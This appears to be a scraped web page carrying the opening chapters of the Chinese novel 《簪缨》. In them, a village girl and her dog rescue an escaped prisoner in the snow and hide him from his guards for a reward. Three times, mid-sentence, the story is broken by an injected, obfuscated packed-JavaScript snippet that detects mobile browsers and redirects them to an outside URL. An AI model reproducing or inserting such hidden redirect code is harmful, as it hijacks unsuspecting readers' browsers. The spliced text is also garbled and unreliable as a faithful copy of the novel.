《簪缨》 1. 雪日晴阳（一） 那三个奇怪的男人走进青水镇的时候，周缨将将结束一夜的劳作。 彼时天光初现，小镇刚从沉寂的夜里苏醒，人声随早起赶集的商贩从四处涌来。 听到动静，周缨将初制成型的两排陶甑整齐摆放至石台上等待阴干，而后伸了个懒腰，推开了作坊老旧发霉的木门。 一只通体黢黑的中型犬从她脚边蹿出，一跃跳出这座矮小的夯土房，在寸许深的积雪里打了个滚儿，又使劲儿摇晃脑袋将毛发上沾染的雪粒甩出三尺开外。 昨夜方和雇主就工钱之事发生过争论，情绪本就低落，加上彻夜劳作，周缨原本疲倦不堪，此刻却看得一乐，情绪一扫而空，嗔道：“黑豆，不许贪玩了，咱们还有活计要忙呢。” 似应和她的话，黑豆停住了动作，然而并未像平素一样摇着尾巴跑到跟前来，反而不安而警惕地盯着西北方向，喉间逸出沉闷的低吠。 “黑豆？”周缨疑惑地随它看去，便瞧见了那三个怪异的男人。 三人并排往场镇走来，步伐迈得极大，须臾间已到了跟前三尺处。 两侧之人身材粗矮敦实，身着深蓝粗布皂衣，双眉紧锁，警惕地打量着四周，眼神不善地盯了周缨一眼，逼得她垂下眼眸，手轻轻在黑豆头上拍了拍以示安抚。 三人绕过她往前走远，镇上生人少，周缨不自觉地回头看去。 相较另外两人，正中那人身形要挺拔瘦削得多，然而穿着实在不合时宜，一件单薄的粗粝麻衣显然遮不住雪后凛风，身子瑟缩得厉害。 周缨不由又多看了两眼。 左侧的壮汉回头看来，眼神凛冽，周缨在黑豆背上拍了一下，提高声音道：“咱们赶紧送完炭回家去，怕晚些又下雪。”说罢埋头疾步离开。 好不容易放晴，周缨急着回家忙活，加紧将攒了好些时日的一麻袋木炭送到主顾店里，这才发觉黑豆没跟来，便径直去肉铺寻找。 黑豆每次来集上都会来此处转转，偶尔能得到一些宰肉时飞溅的肉沫和屠夫大发善心施舍的骨头渣，但今日，周缨没在肉铺的案板下找到黑豆，只好沿着窄长的街道边唤边找。 往西走出去小半里路，一阵肉香传来，周缨循着味儿看过去，黑豆果然在铺子前面摇尾乞食。 店内的客人，恰恰是她先前所见的那三个男人。 老板生怕惹客人不悦，上前驱赶。黑豆恋恋不舍地往里又看了一眼，尾巴耷拉下来，沮丧地往外走。 正当此时，半个包子被轻扔至地上，黑豆凑上去嗅了嗅，立刻埋头狼吞虎咽起来，两口便将其下了肚。 馋劲儿未解，黑豆舔着舌不肯走，在原地转着圈儿。 又半个包子再度被扔过来，黑豆眼睛一亮，赶紧低头大快朵颐。 “瞧不出来，你居然还是个大善人，不过路上的开销是定死了的，吃一口少一口，你既要当好人分给这畜生，今日便饿着吧。”朝外坐的男人将这一切收入眼中，面色不善地嘲讽了一句，说罢又怪罪同伴，“早说不必对他如此友善，吊着口气饿不死就行，何必浪费这钱。” 这对话愈发怪异，周缨想多觑几眼，又怕惹事，只好低声唤黑豆赶紧回来。 但一道目光却在此时轻轻投来。 她终是没忍住抬头，四目相对，一双深若寒潭的眸子令她莫名心惊。 她微微点头谢过他的好意，弯腰将恋恋不舍的黑豆抱起，缩着脖子快步离开。 到家时已过晌午，周缨随意做了两个菜，陪着阿娘吃完，草草补了会儿觉便赶往后山。 积雪未融，出来捡柴的乡邻少，收获反而比平日更丰，不多时她便捡满了一整篓柴禾。 她一路和黑豆比拼着速度往家赶，行至一半，先前敞亮的天色迅疾阴沉下去，凛风紧跟着呼啸而来。 风雪迷人眼，周缨看不清路，不得不暂避到一处内凹的崖壁后，才从这刺骨的寒风中逃出生天。 生于山野长于乡间，辨出这只是阵风而非下雪的前兆，周缨放心地放下背篓，在崖后蹲下身来，将自己蜷成一团取暖。 陡然发觉先前在脚边蹿来蹿去的黑豆不见了踪影，又直起身子，扬声冲着风雪唤道：“黑豆，回来——” 灰蒙蒙的天色里蹿出来一个黑色的小点，迅疾往崖后奔来。 伴着逐渐清晰的踏雪声，黑豆疾奔而来，绕着她急促地转了五六圈，将尾巴甩出了虚影。 周缨蹲下来，将它搂进怀里，屈指在它脑袋上弹了一下，佯装怒道：“又玩疯了？突然刮起这样大的风来，也不知道往回跑。” 黑豆不安分地转来转去，试图挣脱她。 等她放开它，它又不再次奔出去撒野，只在她脚边蹭来蹭去，不耐地打着响鼻。 崖外寒风呼呼作响，周缨被它的反常所迷惑，半晌没有动作。 黑豆则越来越急促，围着她不住地转圈。 周缨犹豫了下，重新把它搂进怀里，放低声音安抚道：“你怎么啦？等风停了，咱们马上就回家，别急好不好？” 朔风退散，日头从层叠的黑云背后跃出来，周缨蹲身去背竹篓，黑豆急不可耐地咬住她的裤腿，使出全身力气将她往外拖。 雪地湿滑，周缨被拉得一个趔趄，踉跄了几步才站稳。 黑豆怕她坠下崖去，不敢再使蛮力，却依然不肯松嘴，只不停地摇着尾巴。 “怕了你了。”周缨终于领会到它的意思，返回背篓前取出一根榆木棍，用力往地上压了压，确认还算结实，才摸了摸它脑袋，“想去哪儿，走吧。” 黑豆这才放心地松开她，往前跃开一步带路。 先前缠缠绵绵地下了半月的雪，昨日初晴，现下积雪仍旧没踝，油靴一脚下去，踩得雪地“嘎吱”作响。周缨拄着榆木棍，绕出这个内凹的大崖壁，跟着黑豆走出去半里地，瞧见白雪地里露出一个黑点。 周缨顿住脚。 黑豆奔到那黑点旁，两只前爪不停地刨起雪来。 不到半盏茶功夫，那黑点完整地显露出来——是个人。 周缨撑着木棍走近，眼神微凝。 一张线条锐利的年轻男子的脸，满脸血污，豁口遍布，因融雪极寒之故，脸上伤口所流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418865|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血已被冻成暗红血渍，触目惊心。 定睛一看，赫然是早间两次相遇的那个男人。 难怪黑豆执意要引她前来，原是曾受过他口舌之惠。 周缨抬头往上望去，崖上枯木七歪八扭，从中折断不少，显然为此人方才坠下时砸断。 她心有余悸地长吁一口气。 此处地势特殊，东侧是她方才避风时所在的内陷崖腔，是一块天然的避风之所，西侧是他们此刻所处的这一块微凸的平地，而往上是一片陡崖，崖边是附近村民为抄近路而硬生生踩踏出来的一条小道，往下则是另一片陡崖，崖下是暗流涌动的沙河。 但凡坠下的地方偏个两三尺，这人便该尸骨无存了。 黑豆还在不停地刨着雪，试图将人从凹陷的雪坑里刨出来。 周缨上前，探手试了试他鼻息，屈身将溅落在他身上的雪大致扫下来。 “咚”的一声，小指被打疼。 她甚至来不及起身，便半猫着腰疾退了三步，才勉强定住心神，神色复杂地看向雪地里的这个不速之客。 此人腕间，系着一副镣铐，方才为衣袖所掩，未能一眼看出。 黑豆不明所以，围着这人转了几圈，舔舐完他冻僵的脸，在他心口位置趴卧下来。 “你这畜生还通人性不成？”周缨又好气又好笑。 她起身走出去两尺地，来回踱步了好几次，视线忽然聚在此人的衣着上，神色微动。 她环视周遭一圈，确认不见人迹，勉强平复情绪，走近仔细观察此人。 此人外衣被崖上树枝划出不少破洞，凌乱地掩在身上，露出里头的中衣一角。光滑柔软的缎料，严丝合缝的针脚，精细缜密的刺绣工艺，周缨冬日卖炭，春夏养蚕抽丝，闲时到镇上做短工，以此维持家用，对此敏锐无比，一眼便看出这件中衣价格不菲。 她正怔忪间，黑豆忽地吠了一声，她回过神来，瞧见黑豆正急切地盯着自个儿，分明是盼着她不要再发呆，赶紧搭把手帮忙，哂道：“你也是个只记吃不记打，胳膊肘往外拐的。” 朔风吹过，周身发寒，周缨心下微紧。 她再没见过世面，也该判断出上午那三人的关系了，此人应是被秘密押解的囚犯，而另外二人自然是乔装过的役吏，此刻他坠崖在此，那二人应该很快就会寻来。 理智告诉她，她不应给自己惹麻烦。窝藏者同罪，重可致死，她曾与县衙的官差打过一次交道，知晓他们的野蛮难缠，明哲保身当作未曾见过这一幕是最明智的选择。 雪光晃眼，她微眯着眼，再次打量了一眼此人的样貌和表里不符的穿着，心下犹疑，举棋不定，但终是迈不出步子离开。 她盯着仍旧趴在这人身上不肯下来的黑豆，好半晌，似下定了决心似的，决定让上天来帮她做这个决断：“看这畜生能不能有救人一命的造化吧。” 盏茶功夫过去，黑豆跑过来扒拉了她两下，前爪的冻感令周缨回神，她垂眸看去，恰见雪地上的男人睫毛轻颤了下，缓慢将眼睛睁开了一条缝。 周缨心中莫名一松。 2. 雪日晴阳（二） 日光晃眼，崔述迷迷糊糊地逆着光看了半日，也没能看清眼前之人的模样，只能隐约辨出来是个女子的身形。 周缨解下腰间水囊，递到他面前。 他尝试着抬动右手，发觉完全不能动作，只能再去试左手，却也只能微微抬高两寸就失力坠下。 周缨只好拔掉木塞，蹲身将水囊送至他嘴边，倾斜着喂给他。 冻得狠了，咽水不及，温水堵在喉间，激得他呛咳起来。 周缨收回手，平静地审视着他。 这阵咳嗽来势汹汹，崔述煞白的面上浮起一阵潮红，脖颈上青筋突起，带动着整个身子一颤一颤。 旷野里，镣铐带起的“叮叮”声不绝于耳。 他的下颌过于消瘦，周缨伸手，就着从他侧颊上滑落的清水，将他下巴上那道血渍擦净，露出利落的线条来。 崔述的目光随着她的动作缓缓聚焦在她脸上，并未忆起早间镇上的仓促一面，亦不知她心内其实已百转千回过数次，只觉她此刻神色平静，没有半分遇见落单囚犯的慌张。他沉默片刻，道：“感谢姑娘搭救。” 镣铐将他必惹麻烦的身份暴露无疑，常人避之不及才是常态，可眼下处境，有人相助自然更好不过，崔述略一忖度，开门见山道：“在下家资尚可，逢此意外，家人必然全力找寻。等寻到此处，必以重金相酬，还望姑娘助人到底。” 这和她起先的推测倒相差无几，周缨起身走开两步，沉默不语。 旷野空渺，落针可闻。 锒铛入狱，身无他物，就算此女爱财且不怕事，相信他的几率也不过十之一二。 唯一可以说动的她不过是，他现下行动困难，可为她所制，若无人前来兑诺，她尚有筹码，至少可以顺利将他移交官府，保自个儿不受牵连。 她既没有立刻拒绝，便有贪财涉险之心，崔述的视线跟随着她走动的身影，耐心地等待她的答案。 久不动作，黑豆以为他再度晕厥过去，又过来蹭了蹭他的脸。 湿漉黏腻的触感令他身子一僵，他迟疑着看过去。 旷野里又呼呼地刮起风来，黑豆黢黑的毛发被吹得根根分明地立起，亮汪汪的眼睛眨也不眨地盯着他，他不禁乐道：“是你啊，小家伙。” 周缨看过来，见他正努力地抬起左手，试图去逗弄黑豆，心下微动。 “押解你的人会追来吗？” 闻她猝然发问，崔述微愣，垂下将将抬起的左手，顺着她的问话回答：“会。我被判流刑，押送我的是平山县的官差，将送我去明州府，囚犯半途失踪，必然要找，至少要走走过场，否则难以交差。” 没料到他竟会答得这样坦诚，周缨微怔片刻，追问道：“你是什么时候摔下来的？” 崔述掩下心中的诧异，再端量了她一眼。 她穿一身淡蓝色的粗布袄子，冬衣厚实，显得身躯有些臃肿，然而一张脸却是清瘦的，头发束成两股搭在肩侧，清秀的五官尚未完全长开，确实是一个年纪不大涉世未深的农家女的模样，看不出丝毫破绽。 “申时末。” 周缨仰头辨了眼日头，确认时间还充足，接问道：“你犯的是什么罪，官府是不是一定要活要见人死要见尸才会罢休？” “不会。流放途中自来死伤不在少数，若遍寻不获，也只能按实奏报。” 听闻如此答案，周缨指着上方的坠崖之地说：“从崖上你们所走的那条小路下到这里，只能绕道山脚的赵家村，平时需要一个半时辰。丢了犯人，情况紧急，想必动作会快些，”她顿了顿，同他确认，“你方才所说的报酬，可作数？” 此女虽手无寸铁，但胜在熟悉地形，又思路清晰，崔述心知可靠，应道：“自然。” “好。”周缨简短地应了一声，屈身来扶他，“剩的时间不多，你还走得动吗？” 崔述再试了一试，老实道：“右腿尚有知觉。” 周缨将来时所带的榆木棍给他做支撑，扶他起身，又绕到他左侧，将他大半个身子压在自个儿肩上，扶着他往方才避风的崖壁后走去。 积雪厚重，周缨带着他行得艰难，一刻钟后，方走到崖壁后一处狭窄的平台上。 周缨让他扶着石块借力，自个儿则从背篓中拿出柴刀，摸索着将刀送进一条狭窄的石隙中。 折腾半晌，石板仰面倒来，周缨灵巧避开，拿刀背在洞壁上拍打了几下，又探头进去查看了半晌，退出来对他说：“有点窄，但还算干燥，勉强可以躲一阵。” 崔述点头。 周缨扶着他进入逼仄的石洞中。 “这时节没有虫蚁，你安生待着，等官府的人走后我来接你。” 周缨话说得简短，说完便要去抱那封口的石板，崔述唤住她：“等等。” 周缨顿住动作，略想了一想，将手中的柴刀放入洞中：“你方才亲眼看到了，这种洞口没法封死，即便我将你扔在这儿不管，等你力气恢复以后，也可凭这刀想办法出来。” 见他不出声，她迟疑片刻，将身上的袄子脱下来垫在他背后，使他既能靠在石壁上省力，又不至于被石块冻伤：“若我报官，你可以拿此物向官府告发，你我其实是同伙，只是我因为怕事临时变卦改了说法。” 为省时间，她语速极快，说完问他：“我可以继续了？” 崔述听她交代完这一长串，原本再度微抬的左手悄然垂落身侧，腕间寒芒一闪而过掩入袖中，问道：“需不需要我教你如何避开搜查？” “不用，这地儿我比你熟。”周缨只作没有看到他的动作，将腰间水囊解下，塞进他怀中。 石板落下，隔绝所有光线，洞穴内漆黑一片，崔述被这动静激起的粉尘呛住，轻微咳嗽起来。 周缨没等里头消停，用木棍将洞穴四周敲打严实，捧雪草草遮掩了一遍，四下扫视一周，见无异样，背起背篓沿小道快速赶回家。 杜氏在屋内听到外头的动静，嘀嘀咕咕地不知说些什么。 周缨快速热好饭菜端进屋，边替她添炭边叮嘱她：“阿娘，我再出去一趟，你先吃，我晚点回来收拾。” 说完两步拐进自个儿房间，拽出一件平素舍不得穿的半旧棉袄套上，又找出一把夏日里用的晒谷耙和一只簸箕，带上篱笆院门往外走。 黑豆还要跟着她，周缨想了一想，将它唤回屋里，寻了根藤条拴在灶下，拍了拍它脑袋，安抚道：“一身都打湿了，别去了，就在家里烤会儿火。” 她独自赶回崖下，仔细对照着崔述坠下的方向和路线，抱来几块大石头，沿着下方陡崖的边缘扔下去，一路“咔擦”断枝声不绝，最后落于沙河上，砰地敲碎了结了薄冰的河面。 周缨满意地回到石穴前，拿簸箕兜满雪，倒在封口的石板外缘，又拿木棍结结实实地捶打了数次，将雪压实。 直到再看不出雪有松动的痕迹了，周缨才将簸箕的系绳挂在脖子上，拖着那耙子后退三步。 晒谷耙头部是一块底部边缘齐整的木板，后以竹竿相连，平素用来均匀推平谷麦以便晾晒，此刻却是用来平整雪地的绝佳工具。周缨用它将全部痕迹抹灭，又在平整的雪面上撒上碎雪，边重复这动作边后退着往家走。 等完成这一切回到家中，日已完全西沉。 周缨先去收拾了碗筷，伺候杜氏洗漱歇下，将剩菜热过草草吃了几口，勉强糊弄完一顿，又将家中仔细收拾了一遍，烧了一大锅热水备着，这才攀到屋顶，登高望向后山。 隔着暮色，影影绰绰地看出，后山有微弱的火光沿着小道逼近。 又过了大半个时辰，那火光复又沿着山路向西返回，不见了踪影。 周缨拿背篓装了几块特意在灶中烘烤过的干柴，背上往后山走去。 此地地势特殊，她家独门独院地隐在崖后，若非熟悉地势，或者仔细查探，很难发现此处有户人家，更何况她还刻意用枯枝残雪掩埋了唯一一条小道，方才又熄了灯火，官差短时间内自然寻不过来。 而那座石穴，她已隐蔽得足够完美，加之天色暗淡视物困难，若非意外，应该也不会被发现。 快到崔述藏身的石穴时，黑豆支着耳朵听了半刻，没听见异动，才跃开一步带路。 周缨跟着它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418866|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出崖后，举目望去，四野无人，然而周遭乱糟糟的一切都彰示着，确有人来寻过了。 周缨走至她伪造的坠崖处，那里果然有一圈密密麻麻的脚印。 仔细辨认过脚印后，周缨判断出来人实际只有两个，只是长时间停留盘查导致足迹凌乱，应该只是日间所见的那两人，并无人相帮。两人力量有限，她心中巨石坠下不少，但仍旧警惕地使唤黑豆去周边确认是否还有生人在侧。 黑豆今日被拘束了一阵子，这会子正是撒野的时候，四处奔来跑去，足足绕着方圆一里地跑了一圈。 见它没有异动，周缨知那两名官差已经走远，彻底放松下来，走至洞穴口，用木棍将上头的积雪扫下来，然后在石板上叩了三声，凑近说：“是我。” 石板被撬开，露出黑黢黢的洞口，周缨探身将人扶出来，用先前那件袄子垫地，扶着他靠坐在崖石上。 “你左腿不能走动，是摔坏了还是冻的？” 崔述迟疑片刻，老实道：“身已冻僵，判断不出。” 周缨早有所料，取出背篓里特意带来的柴禾，利落引燃。 干柴遇火燃得极快，不多时火苗便蹿起来半人高。周缨将先前留给他的水囊拾起，发觉轻了许多，便将新带来的水囊递过去，崔述左手接过，放在怀中固定好，再用左手去拔木塞。 见他两次尝试都没能成功，确认他右手确实受了伤，周缨探手过去帮他拔掉，怪道：“先前那一壶都能打开，怎么现在又不行了？” 崔述仰头慢慢喝了两口，等喉间不适微有缓解，才说：“方才藏身时间久，蓄了不少力，故能勉强一试，现下已消耗殆尽。” 周缨不疑有他，等他喝够，收好水囊，将柴禾架得更高，好让火烧得更旺。 借着火光，她认真端量了他一眼。 他脸上不知何时又添了一道新伤，侧颊上隐隐渗出的血珠无声坠入雪地，染出一小簇红雪。 明明满脸是伤，狼狈而落魄，然而侧脸线条冷峻，鼻英而挺，双眸黝黑，眼神沉静幽遂，双唇干到皴裂，泛着淡淡的血色，衬着颊上凌乱的划痕，又平添三分月落青瓦的寂寥。 周缨形容不出来，她生长在这块巨石的背后，最远没有走出过这块崖石的方圆百里地，拿粟麦蚕丝木炭去镇上换钱时见过形形色色的买主与过客，但独独没有他这样的。 这探询的眼神过于赤|裸，崔述有所察觉，隔着火苗看过来。 周缨坦率地迎上他的目光，没有避让。 “你犯了什么事？” 崔述抬眸看她一眼，又安静地垂下眼帘，没有作答。 体温逐渐恢复，僵硬之感减退，他试着活动四肢。运气还算不错，厚重绵软的积雪卸掉了大半坠崖的力，左腿应是撞上了崖上巨木，现下已经骨折，右手也伤得重，但万幸还有一手一腿只是皮肉伤，不至于完全成个废人。 周缨平静地看着他的动作，目光落在他腕间。 “故意还是意外？” 崔述想了一想，知她说的是坠崖的事，实诚道：“故意。” 周缨也不意外，只说：“那你胆子挺大，运气不好一点，流放就变成丢命了。” “嗯。要犯嘛，本当处以绞刑的大罪，侥幸判了轻刑，后路如何尚不可知，还不如赌上一赌，何况我观察过地形和树木再‘失足’的，除非天意如此，否则不致丧命。”他说这话时语气过分平静，似寒月泻下的凉辉。 这话怪异，引得周缨多看了他两眼，再问了一遍：“你犯了什么罪？” 崔述没出声。 两度发问没能得到答案，周缨也不勉强，自行结束了这个话题，看了眼天色，转问道：“现下好点了吗？我搀着你的话，能走多远？” “小半个时辰应当能坚持。” “好。我扶你，你忍着些痛。” 周缨让他靠近火堆再暖暖，自个儿用石板重新封了洞穴，弯腰捧雪抹掉人迹。 “今日多谢姑娘。” 温和醇厚的嗓音从背后传来。 掌心的雪被体温融化些许，湿漉漉的，凉凉的。 3. 雪日晴阳（三） 周缨转头看他一眼，莫名笑了下：“道谢倒不必，别忘了你答应过我的东西就成。” 过于唯利是图的一句话，却不叫人反感。 崔述沉默地注视着她的动作。 周缨捧雪灭了火，将未燃尽的柴禾捡到背篓中，拿木棍将黑色的残烬推至崖下，抹掉人迹，将背篓背好，单手拿着袄子，扶着崔述往回走。 雪地湿滑难行，这段路本就崎岖，带着一个身量比她高大许多的累赘，周缨走得颇为吃力，好在镇日忙于农活，力气尚可，不至于束手无策。 黑豆在前引路，避免他俩因雪踩空，即便如此，两人还是走了小半个时辰才走到院门口。 “小心点，别让我阿娘听到动静。” 周缨扶着他小心翼翼地穿过院中，进到自己屋里，点燃灯烛，指着那张木床道：“你先坐会儿，我去打些水过来。” 等她带上门出去，崔述环视了这房间一周。极为狭小的一间屋子，除了一张简陋的架子床和一个矮小的木柜，再无他物，过道也狭窄得仅能容一人通过。 除了这张床，他似乎确实无处可以安身。 短暂烤火带来的温暖逐渐消散，冷气顺着四肢上涌，周身再度麻痹，力气不支，他扶墙靠坐下来。 周缨回到灶间，打来一盆热水。 听见动静，崔述将沉重的眼皮翕开一条缝。 周缨被他搁在过道上的长腿一绊，手中的木盆差点摔出去，勉强用身子撑住柜角才不至于跌倒，恼怒地回头瞪他一眼，却瞧见他靠墙坐着，唇色乌僵发紫。 她怔了下，赶紧捉过他的手放进盆中浸着，又去搬了把凳子过来，将他扶起靠坐在墙上。 见他动作困难，她蹲身替他脱鞋。 他脚上所穿的是一双略大的单薄麻鞋，应为牢狱中统一发放。冬日里这种鞋本就无法御寒，何况他脚上这双还已经被石块和树枝划出了十来个小破洞。 崔述迷糊间推拒：“不必。” “你自己能行？”周缨抬头看他一眼，不待他说话，手上微一用力，强行将鞋脱下，触到里头质地上佳的罗袜，不动声色地将其脱下，将他冻到青紫的脚放进盆中浸没。 过了片刻，崔述才觉得僵硬之感缓缓褪了下去，脚上有了知觉，人也慢慢缓了过来，同她道谢。 “冷成这样，也不知道上床先用被子焐着么？”周缨乜他一眼，语气比平常硬上三分。 然而崔述此话说得极认真： “脏秽未除，不敢慢怠姑娘之物。” 周缨心头莫名一跳：“你是读书人吧？”不待他回答，又道，“早就想同你说了，别同我酸来酸去的，害我连听带猜的，累得慌。” 她直起身，避免和他对视，回灶间再打了一盆热水过来，将帕子递给他：“擦洗一下，上去焐着。” “多谢。” 周缨斜靠在柜角上，见他正低垂着眼，趁机借着晦暗的烛光观察他。 他做事很是慢条斯理，并不因生人在侧而不自在，先单手慢慢束好发，再拿帕子细细擦拭脸上的伤，指腹触到结痂的地方，便用帕子焐上一小会儿，再擦拭掉血渍。 周缨看了一阵，打开柜门翻拣出一双新的千层底布鞋，放至地上：“肯定不合脚，勉强趿着走吧，总比湿的强。” 崔述看过去，这双鞋确实小上不少，但村野妇人并未裹足，还算勉强能穿，于是点了点头：“多谢。” 对他的客套，周缨已见怪不怪，并未接话。 她的注意力被他腕间不时作响的镣铐所吸引，略想了想，从柜中翻出一把剪刀递给他：“衣裳都湿透了，剪了吧。” 崔述依言接过剪刀，将外衫的右边袖子剪开，停下了动作。 周缨会意，站至他左侧，接过剪刀，沿衣物的褶皱剪出一条平整的线，替他将这件脏污的外衣褪下，旋即端来一盆烧得正旺的炭火：“把中衣烤干再上床焐着，暖和得快些。”说罢端着先前那盆脏水回到灶间。 她刻意等了小半个时辰，趁这段时间将自个儿拾掇好，甚至还慢悠悠地烫了个脚，才端了碗一直煨着的粥回到屋中。 他已将中衣大体烤干，正拿破旧的外衣蘸了水，单手擦拭着镣铐上沾染的污泥。 周缨沉默地站在门口，等他忙活完，才扶他坐上榻，用棉被盖住他胸口以下，将粥碗递过来：“喝吧，一整日没吃过东西了。” 崔述手微顿了下，执勺说了声“劳驾”，也不忸怩，埋头小口小口地喝起粥来。 连落难时喝上一碗果腹的白粥，他都极有教养与礼数。 他只有单手能动，周缨替他端着碗，注视着他的动作，没忍住一哂：“也不是不饿，肉包子打狗，惯来有去无回，何必？” 崔述执勺的手一顿，笑说“无碍”，却并不解释。 周缨轻嗤：“算你走运，这个肉包子倒还算有去有回。若不是黑豆非要引我去找你，按衙役找过来的时间，你即便能侥幸保住性命，也必然冻坏身子。” 其实他坠崖前已经服过药，只是撞击产生的眩晕太过猛烈，才一时陷入昏迷，就算不遇到此女，他也必然不至于被冻毙于山野，稍晚些也会在药效作用下醒来，并找到暂避之所，静待救兵，否则他不会出此下策，拿自个儿性命当儿戏。 只是若不遇上此女，因为受伤，他的处境确实会难上许多，这一人一犬的出现，的确算得上上天助他。 “总归，还是多谢姑娘出手相助。” 周缨不领这份客套的情，只说：“有钱能使鬼推磨嘛，你看着便是富贵人家做派，想必不至于骗我。”说罢又问，“你身上还有其他伤吗？” 冷不丁地听她发问，崔述停下生涩的动作，抬头看她一眼，老老实实地交代：“大的摔伤有两处，在左腿和右手上，还能活动这么久，应当没有伤及肺腑，先前应该只是受了冻。” “你的家人在哪里？你确定他们能找到这里来？需不需要我帮你送个信？” 崔述迟疑了下，说：“官差还没撤走，你去送信会有危险，且先等上几日吧。不过是暂时出了些意外，必然会来的。” 他说得这般笃定，周缨没再继续追问，只道：“你既然犯下大罪，就算家人寻过来，难道就能保下你？官府就不会继续追查了？” “这你不必管。” “我是不想管，不过是怕白忙活一场，自然忍不住问问。”周缨转头看他，将话挑明，“你打算给我多少报酬？” “你想要多少？” 周缨没说话。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418867|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充道：“都可以的，你尽管开口。” 周缨先是诧异，随即唇角溢出笑意，又意识到失态，刻意板着脸问：“真的都可以？” “嗯。你肯搭上性命救我，我自不会骗你。” “我要八十两。”她说得斩钉截铁，气势十足，生怕他反悔。 碗沿冒着白汽，崔述垂眼，掩下心底的错愕。 见他不说话，周缨微抿下唇，忐忑地问：“那五十两行么？” 她试图同他讲道理：“真的不能再少了，我担惊受怕了大半日。何况这事风险这么大，虽然你说官府找不到人也就算了，但也不是没有败露的可能，一露马脚我说不定连小命都保不住，何况你这话还有可能是骗我。若你家人来之前就事发了，我岂不是一分钱都拿不到，还得搭上条命。” 活脱脱一副既贪财又贪生的小人嘴脸。 崔述仔细地端量着她。 她斟酌半日，先前的欣喜消散得无影无踪，声音压得低低的，颇有些祈求的意味：“我看得出来，你家底当真丰厚，便不要同我计较了，我真的很需要这笔钱。” 今日官差因雪停临时改变押解路线，连他都没有料到这一出，以至于让亲随埋伏错了地方，他这才迫不得已以身犯险，以便金蝉脱壳。 其他人又怎会料事如神，知晓今日之变，安排好人来设计他，还是这样一个手无寸铁的女子？ 何况，方才廖廖几句，他已断定，这姑娘确是急需钱财，才见财起意愿担风险救他，这局面对他百利而无一害。 再有，这姑娘毕竟出身卑微，连漫天要价都不曾，为了这区区五十两的酬劳竟如此低声下气。 崔述将前因后果理清楚，便知即使此女还算镇静缜密，也不过是巧合，此地应当安全，此女也无其他心思，于是应道：“好。八十两便八十两，不会短你的，放心。” 周缨搓了搓垂在身侧的右手，腮帮微鼓，连带着脸庞看起来也圆润了些。 崔述看了片刻，淡笑着问：“你年纪还不大吧？” 周缨闻言，只当自个儿方才那副模样受了奚落，眉头微敛，冷硬地催促：“还吃不吃了？快点。” “好。”崔述收了笑意，埋首将这碗白粥加速咽下肚。 周缨收走碗，不多时拿着个灌好的汤婆子回来，塞进他被窝中，余光瞥见窗纸一角裂了条细缝，便从柜中寻出一卷厚毡布，用针线固定住，将窗户全部封死。 “隔壁有人，动静轻一点。”周缨端走炭火，吹灭灯盏，拿盆装了脏衣出门，在外头落了锁。 今夜无月，她不舍得点灯，借着瓦上的雪光照亮，将他的衣物鞋袜悉数浸湿，搓上皂角，反复清洗了三四遍，拧干水在竹竿上晾好。 等滴完水，周缨将灶膛中的红炭夹出来堆在一处，罩上镂空的竹制熏笼，把衣物平铺在上，以便烘干。 劳累了一整日，又兼提心吊胆，身体已到了极限，倦意瞬间涌来，周缨只觉眼皮沉重得很，再支撑不住，摸黑走到杜氏房中，悄悄爬上榻。 才刚刚躺下，杜氏就尖嚷起来：“出去，快出去。” 周缨坐起来，无奈地看她一眼，连声应道“好好好”，退回厨房，取来日间那件脏污的粗布袄子铺在灶下，蜷成一团，和衣而眠。 4. 雪日晴阳（四） 冬日夜寒，周缨在翌日卯时被冻醒，发觉鼻塞得厉害，烧热水烫了半天，方才松缓下来。 做好三人的早饭，喂完家禽，天色尚早，周缨到后院中取了块长两尺宽一尺的木板，借着蒙蒙亮的天色，将边缘锯平，又寻来几根木块，用钉子固定到四角，做成一张简易的小几。 修整齐平桌脚，再清洗干净，擦干水渍，放在洗衣石上晾着，周缨看着还算满意，才回到厨房端上热水去服侍杜氏起床，和她一起吃完早饭。 周缨边收拾碗筷，边同杜氏交代：“如果，我是说如果，有人来问你的话，你一定要说昨日我从集上回来后，一整日都没有出去过。” 杜氏面露疑惑之色。 “阿娘，你听懂了吗？”周缨耐心地再问了一遍。 杜氏迷茫地点了下头，依旧没吭声。 周缨将碗筷搁回灶台上，单手拎着那张小桌回到自个儿屋中。 门锁一开，黑豆先一步蹿进来，周缨险些被绊倒，拿脚尖在它肚子上虚虚踢了一脚。 这一连串动静不小，崔述却没起身，仍旧躺着。 “不早了，起来吃饭。” 